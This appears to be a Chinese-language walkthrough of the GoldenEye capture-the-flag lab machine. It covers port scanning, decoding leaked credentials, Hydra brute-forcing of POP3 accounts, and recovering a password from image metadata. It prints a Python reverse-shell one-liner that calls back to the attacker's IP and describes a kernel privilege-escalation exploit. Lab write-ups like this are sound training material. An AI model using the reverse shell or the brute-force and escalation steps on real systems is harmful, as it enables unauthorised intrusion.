詹士邦系列的电影——GoldenEye
靶机ip: 192.168.64.149
目标ip: 192.168.64.163
准备:
1、开启靶机和kali,并配置网络连接为net模式
2、确定靶机和kali的ip段,用kali扫同网段下的ip
一、信息收集
1**、获取靶机**ip
使用namp获取目标ip
扫描开放端口和服务
验证各端口可利用漏洞和敏感信息泄露
80端口是web端,直接访问192.168.64.163
例:访问80端口的应用程序,发现网页中存在提示信息,
访问目录弹出登录会话框。
通过目录/xx/访问源码中发现js文件,在网站打开js文件,
有效信息:
Terminal.Js后缀的文件
有效信息:
【用户: boris、 Natalya
字符串:InvincibleHack3r (解码后)
网页打开发现一串编码字符,于是在bp的decoder中解码,
得到字符串,尝试登录继续http://192.168.64.163/sev-home/的会话框。
登录后发现pop3服务器端口55006、55007正在运行,根据terminal提示继续破解pop3服务。
有效信息:
Pop3 在很高端口上跑着,因此可以去已知的两个端口上看一看
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-TiGqBeeC-1673795192875)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml18740\wps150.png)]
有效信息及利用:
两个pop3邮箱账户名,可以进一步去爆破
创建用户名字典在桌面,使用kali自带九头蛇工具爆破
有效信息:用户1【boris\secret1】、用户2【natalya\bird】
登录pop3邮箱继续收集更多信息
登录指令:
用户1
连接、用户、密码、邮件列表、查看第一封邮件
有效信息:
第一封无
第二封来自用户“ natalya”,称她可以破坏鲍里斯的密码。
第三封邮件可以看出有一份文件用了GoldenEye的访问代码作为附件进行发送,并保留在根目录中。但我们无法从此 处阅读附件。
用户2
有效信息:
得到一个账户和域名
域名添加到dns下
修改dns重启服务并打开
打开登录邮箱里面的账户
发现另一个用户doak
发现一个好用的文本阅读器leafpad
对doak进行爆破
使用邮箱继续登录pop3邮箱
邮件消息说,为我们提供了更多登录凭据以登录到应用程序。让我们尝试使用这些凭据登录。 用户名: dr_doak 密 码: 4England! 使用新的账户密码登录CMS。
发现一个文件
发现jpg
查看文件内容 /dir007key/for-007.jpg
使用命令: wget http://severnaya-station.com/dir007key/for-007.jpg下载到本地
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-xzyK0A76-1673795192881)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml18740\wps168.png)]
使用exiftool、strings分析图片包含的信息
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-yKGGz5J2-1673795192881)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml18740\wps169.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-KYWuOJwh-1673795192882)(file:///C:\Users\ADMINI~1\AppData\Local\Temp\ksohtml18740\wps170.png)]
,用exiftool和strings解析得到Image Description : eFdpbnRlcjE5OTV4IQ==
线索中说,这是管理员用户的密码。管理员用户身份继续登陆应用程序。 用户名: admin 密码: xWinter1995x!
中间靶机重启一次:
靶机地址:从192.168.64.163改为192.168.64.149
二、渗透-getshell
Msf远程代码执行漏洞(提权1):
提权失败,网上搜索看到一篇老外写的Walkthrough,目标主机上不存在GCC编译,只能CC编译
要把Google Spell编译改成PSpellShell编译
按道理应该能获取www低权限,经过百度谷歌多方面咨询大神,是因为我kali中MSF版本升级太高,会遇到RCE无法
渗透问题,这里耽误了很多时间,
getshell了,结果MMP,反弹shell用不了,只能使用内核提权了
三、提权
由于我们已经使用了管理员admin用户登录页面,可以进行网站管理,在页面中找到了Site administration-Server- System paths 网站管理系统路径,发现可以上传代码。
python -c 'import
socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168
.64.149",8888));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);
os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
使用python对本地8888端口上传一个shell,相当于一个muma,我们需要在本地开启端口8888。
需要找到一个能发送数据包出去的地方,这里找到了能发送邮件的地方,随意填写一些文字即可,点击Toggle spellchecker进行发送shell到本地
终于获得了一个shell权限,不容易啊!! 使用python获得的shell权限后,得使用ptyhon获得tty,使用命令: python -c‘import pty; pty.spawn(“/bin/bash”)’
当我运行id命令时,它表明该用户不是root用户,这是www-data的低特权用户,能到这一步已经渗透成功一大半 了 …继续努力!!
于Linxu提权有非常非常多的方法,可以参考学习
【内核提权(提权2)】
Getshell之后,查看内核版本
下载该漏洞利用文件
cp /usr/share/exploitdb/exploits/linux/local/37292.c /*Desktop
靶机未装gcc编译,只能cc编译,这里修改37292.c编程
将gcc改为cc
开启本地服务
将kali上的37292.c文件下载到靶机的tmp目录下
运行exp
下面是收录的思维导图,里面提到的其他几种提权技巧还在研究。